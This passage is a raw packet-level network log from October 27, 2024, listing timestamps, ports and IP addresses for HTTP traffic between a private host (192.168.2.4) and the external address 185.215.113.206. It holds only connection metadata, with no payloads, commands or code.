Oct 27, 2024 12:13:24.277407885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.282782078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.282802105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.282810926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.282840967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.282886028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.283417940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.283468008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.283478022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.283487082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.283516884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.283540010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.283543110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.283576012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.283580065 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.283586979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.283607006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.283615112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.283631086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.283674955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.356394053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.356409073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.356420040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.356468916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.356475115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.356496096 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.356519938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.356532097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.356553078 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.356565952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.356578112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.356576920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.356601000 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.356637955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.356666088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.356678963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.356693029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.356710911 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.356750011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.357032061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.357076883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.357109070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.357120991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.357151985 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.357167959 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.357229948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.357247114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.357258081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.357270956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.357269049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.357294083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.357332945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.357357979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.357372046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.357403994 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.357423067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.357547998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.357563972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.357574940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.357587099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.357595921 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.357600927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.357614040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.357626915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.357634068 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.357656002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.357676029 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.357757092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.357763052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.357799053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.357909918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.357928991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.357940912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.357949972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.357992887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.357994080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.358006001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.358019114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.358040094 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.358072042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.358208895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.358256102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.358283043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.358295918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.358331919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.358347893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.358364105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.358376980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.358387947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.358412027 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.358442068 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.358532906 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.358546019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.358558893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.358571053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.358582020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.358593941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.358613014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.358768940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.358779907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.358791113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.358803034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.358814955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.358817101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.358833075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.358849049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.358860016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.358897924 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.404278040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.404337883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.404350996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.404364109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.404380083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.404407978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.404408932 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.404419899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.404432058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.404447079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.404479027 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.404575109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.404586077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.404597044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.404612064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.404620886 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.404658079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.404727936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.404740095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.404751062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.404777050 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.404805899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.474102020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.474168062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.474181890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.474229097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.474246979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.474294901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.474298000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.474334002 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.474349976 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.474380970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.474409103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.474461079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.474483967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.474523067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.474534988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.474539042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.474585056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.474585056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.474612951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.474647999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.474663019 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.474699020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.474703074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.474736929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.474750996 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.474786043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.474797010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.474832058 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.474865913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.474908113 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.474909067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.474956989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.474980116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.475024939 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.475028992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.475101948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.475105047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.475115061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.475147963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.475172043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.475172997 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.475217104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.475224018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.475258112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.475285053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.475306034 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.475310087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.475375891 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.475379944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.475414991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.475439072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.475472927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.475475073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.475521088 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.475545883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.475595951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.475626945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.475677967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.475678921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.475725889 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.475748062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.475783110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.475800037 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.475816965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.475838900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.475850105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.475862026 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.475884914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.475893021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.475923061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.475948095 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.475955963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.475971937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.475999117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.476006031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.476041079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.476047039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.476097107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.476108074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.476142883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.476159096 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.476192951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.476202011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.476249933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.476268053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.476285934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.476305962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.476320982 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.476337910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.476356030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.476389885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.476389885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.476423025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.476435900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.476459026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.476486921 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.476488113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.476515055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.476550102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.533981085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.539725065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.817554951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.817572117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.817596912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.817612886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.817629099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.817645073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.817648888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.817661047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.817672968 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.817677975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.817712069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.817877054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.817892075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.817917109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.817934036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.817938089 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.817953110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.817961931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.817977905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.817986012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.817994118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.818000078 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.818010092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.818020105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.818034887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.818056107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.818432093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.818448067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.818461895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.818479061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.818485022 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.818494081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.818495035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.818510056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.818526983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.818538904 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.818542004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.818552971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.818558931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.818573952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.818578959 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.818591118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.818594933 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.818619013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.818640947 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.818862915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.818876982 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.818898916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.818907976 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.818913937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.818919897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.818929911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.818936110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.818943977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.818958044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.818959951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.818969011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.818975925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.818986893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.818991899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.819005013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.819009066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.819017887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.819025040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.819031954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.819041967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.819048882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.819060087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.819097042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.934242010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.934276104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.934289932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.934304953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.934303999 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.934329987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.934340000 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.935009003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.935071945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.935080051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.935118914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.935136080 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.935163021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.935170889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.935209036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.935249090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.935280085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.935302973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.935305119 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.935372114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.935406923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.935430050 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.935440063 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.935461044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.935482979 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.935503006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.935534954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.935548067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.935570002 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.935576916 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.935604095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.935616970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.935638905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.935646057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.935677052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.935693026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.935712099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.935734034 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:24.935746908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:24.935758114 CET	49730	80	192.168.2.4	185.215.113.206
